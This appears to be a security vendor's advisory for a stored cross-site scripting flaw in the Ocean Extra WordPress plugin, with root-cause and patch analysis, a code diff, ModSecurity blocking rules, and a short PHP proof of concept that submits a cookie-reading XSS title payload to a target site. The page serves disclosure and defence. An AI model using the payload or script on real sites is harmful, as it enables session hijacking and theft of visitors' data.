Published : November 29, 2026

CVE-2026-129329: Ocean Extra <= 2.6.3 Unauthenticated Stored Cross-Site Scripting via Post Title PoC, Patch Analysis & Rule

Plugin ocean-extra
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.6.3
Patched Version 2.6.4
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-129329: The Ocean Extra plugin for WordPress (versions up to 2.6.3) is vulnerable to unauthenticated stored cross-site scripting (XSS) through the ‘post_title’ parameter. This flaw arises from insufficient input sanitization and output escaping in the Recent Posts Thumbnails widget, allowing attackers to inject malicious scripts that execute when a user views a page containing the widget. The CVSS score is 7.2 (High), and the vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

Root Cause: The vulnerability stems from the use of the_title() in two locations within the Recent Posts Thumbnails widget. In ocean-extra/includes/widgets/recent-posts.php, line 126 outputs the post title unescaped inside a title attribute: <a href="” title=”” class=”recent-posts-thumbnail”>. Similarly, line 146 outputs the title unescaped in the anchor content: <a href="” class=”recent-posts-title”>. The the_title() function does not escape output by default, and the plugin fails to apply esc_attr() or esc_html() to the title. Additionally, the shortcode-escape bracket syntax ([[…]]) bypasses wptexturize’s quote conversion, allowing raw double quotes to persist in the title. This enables an attacker to break out of the title attribute (e.g., ” onmouseover=”alert(1)) and inject arbitrary JavaScript.

Exploitation: An attacker can exploit this by submitting a post with a malicious title. On a default installation, contributor-level access is required. However, if a separate plugin providing a public guest-post form with a Featured Image field is installed and configured to accept anonymous submissions as published posts, unauthenticated attackers can exploit this. The attacker crafts a post title such as [[” onmouseover=”alert(document.cookie)” style=”]] or similar, using the double-bracket syntax to preserve double quotes. When the Recent Posts Thumbnails widget renders the post, the title is inserted into the HTML without escaping, and the payload executes when a user hovers over the thumbnail or loads the page, depending on the payload. The attack vector is the post creation form, and the payload is stored in the post_title parameter.

Patch Analysis: The patch addresses the vulnerability by escaping the output in the Recent Posts Thumbnails widget. In recent-posts.php, line 126 changes the_title() to echo esc_attr( get_the_title() ), ensuring the title is properly escaped for an attribute context. Line 146 changes the_title() to echo esc_html( get_the_title() ), escaping the title for HTML content. Additionally, the patch introduces a new sanitization function ops_sanitize_hex_color in includes/post-settings/sanitize.php and updates several color fields to use it instead of wp_kses_post. However, these changes are related to other settings and do not directly address the XSS vulnerability. The version is bumped to 2.6.4. The fix ensures that even if a malicious title is stored, it is output safely, preventing script execution.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive information (such as cookies or authentication tokens), defacement of the website, or redirection to malicious sites. In the unauthenticated scenario (with the guest-post plugin), attackers can compromise all visitors of the affected page, potentially leading to mass infection. The vulnerability poses a significant risk to site integrity and user security.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ocean-extra/includes/onboarding/assets/dist/install-demo.asset.php
+++ b/ocean-extra/includes/onboarding/assets/dist/install-demo.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'c048217447af54bb9bd2');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '9e45540d69c2c9f20475');
--- a/ocean-extra/includes/onboarding/assets/dist/setup-wizard.asset.php
+++ b/ocean-extra/includes/onboarding/assets/dist/setup-wizard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'd5885c34a09cba64b03f');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '6884e0dda7370fde6f1e');
--- a/ocean-extra/includes/post-settings/defaults.php
+++ b/ocean-extra/includes/post-settings/defaults.php
@@ -660,7 +660,7 @@
 			'rest'   => true,
 			'subType' => '',
 			'value' => '',
-			'sanitize' => 'wp_kses_post',
+			'sanitize' => 'ops_sanitize_hex_color',
 		),
 		'ocean_breadcrumbs_separator_color' => array(
 			'type'   => 'string',
@@ -668,7 +668,7 @@
 			'rest'   => true,
 			'subType' => '',
 			'value' => '',
-			'sanitize' => 'wp_kses_post',
+			'sanitize' => 'ops_sanitize_hex_color',
 		),
 		'ocean_breadcrumbs_links_color' => array(
 			'type'   => 'string',
@@ -676,7 +676,7 @@
 			'rest'   => true,
 			'subType' => '',
 			'value' => '',
-			'sanitize' => 'wp_kses_post',
+			'sanitize' => 'ops_sanitize_hex_color',
 		),
 		'ocean_breadcrumbs_links_hover_color' => array(
 			'type'   => 'string',
@@ -684,7 +684,7 @@
 			'rest'   => true,
 			'subType' => '',
 			'value' => '',
-			'sanitize' => 'wp_kses_post',
+			'sanitize' => 'ops_sanitize_hex_color',
 		),

 		// Footer.
--- a/ocean-extra/includes/post-settings/sanitize.php
+++ b/ocean-extra/includes/post-settings/sanitize.php
@@ -32,6 +32,22 @@
 }

 /**
+ * Sanitize a hexadecimal color for post meta.
+ *
+ * @param mixed $value Raw meta value.
+ * @return string
+ */
+function ops_sanitize_hex_color( $value ) {
+	if ( ! is_string( $value ) ) {
+		return '';
+	}
+
+	$color = sanitize_hex_color( $value );
+
+	return is_string( $color ) ? $color : '';
+}
+
+/**
 * Sanitize function for array
 */
 function ops_sanitize_array($meta_value) {
--- a/ocean-extra/includes/shortcodes/shortcodes.php
+++ b/ocean-extra/includes/shortcodes/shortcodes.php
@@ -957,7 +957,7 @@
 		$color       = sanitize_hex_color( $settings['color'] );
 		$hover_color = sanitize_hex_color( $settings['hover_color'] );

-		$args = '';
+		$args = array();

 		// Add a space for the beginning of the class attr.
 		if ( ! empty( $class ) ) {
--- a/ocean-extra/includes/widgets/recent-posts.php
+++ b/ocean-extra/includes/widgets/recent-posts.php
@@ -123,7 +123,7 @@
 							<li class="clr">

 								<?php if ( has_post_thumbnail() ) { ?>
-									<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>" class="recent-posts-thumbnail">
+									<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( get_the_title() ); ?>" class="recent-posts-thumbnail">
 										<?php
 										// Display post thumbnail
 										the_post_thumbnail(
@@ -143,7 +143,7 @@

 									<div class="recent-posts-details-inner clr">

-										<a href="<?php the_permalink(); ?>" class="recent-posts-title"><?php the_title(); ?></a>
+										<a href="<?php the_permalink(); ?>" class="recent-posts-title"><?php echo esc_html( get_the_title() ); ?></a>

 										<div class="recent-posts-info clr">
 											<div class="recent-posts-date"><?php echo get_the_date(); ?><span class="sep">/</span></div>
--- a/ocean-extra/ocean-extra.php
+++ b/ocean-extra/ocean-extra.php
@@ -3,7 +3,7 @@
  * Plugin Name:         Ocean Extra
  * Plugin URI:          https://oceanwp.org/extension/ocean-extra/
  * Description:         Add extra features and flexibility to your OceanWP theme for a turbocharged premium experience and full control over every aspect of your website.
- * Version:             2.6.3
+ * Version:             2.6.4
  * Author:              OceanWP
  * Author URI:          https://oceanwp.org/
  * Requires at least:   5.9

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129329
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261293,phase:2,deny,status:403,chain,msg:'CVE-2026-129329 via Ocean Extra guest post XSS',severity:'CRITICAL',tag:'CVE-2026-129329'"
  SecRule ARGS_POST:action "@streq guest_post_submit" "chain"
    SecRule ARGS_POST:post_title "@rx ([[.*?]].*?[x22x27<>]|onmouseover|onerror|onload|javascript:)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

# For contributor-level exploitation via standard post editor, block XSS in post_title on post submission
SecRule REQUEST_URI "@rx ^/wp-admin/post.php$" 
  "id:20261294,phase:2,deny,status:403,chain,msg:'CVE-2026-129329 via Ocean Extra post title XSS',severity:'CRITICAL',tag:'CVE-2026-129329'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:post_title "@rx ([[.*?]].*?[x22x27<>]|onmouseover|onerror|onload|javascript:)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129329 - Ocean Extra <= 2.6.3 - Unauthenticated Stored Cross-Site Scripting via Post Title

// This PoC assumes a WordPress site with Ocean Extra <= 2.6.3 and a public guest-post form plugin enabled.
// It submits a post with a malicious title using the shortcode-escape bracket syntax to bypass wptexturize.

$target_url = 'http://example.com'; // Change to your target WordPress site
$post_title = '[[" onmouseover="alert(document.cookie)" style="]]'; // XSS payload
$post_content = 'This is a test post.';

// Prepare the POST data for the guest post form. Adjust field names based on the guest post plugin used.
$data = array(
    'post_title' => $post_title,
    'post_content' => $post_content,
    'submit' => 'Submit'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php'); // Or the guest post form endpoint
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Post submitted successfully. Check the Recent Posts widget for payload execution.n";
} else {
    echo "Submission failed with HTTP code: $http_coden";
}

// Note: The exact endpoint and parameters depend on the guest post plugin. This PoC is illustrative.
// For contributor-level exploitation, authenticate and submit via wp-admin/post-new.php or REST API.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.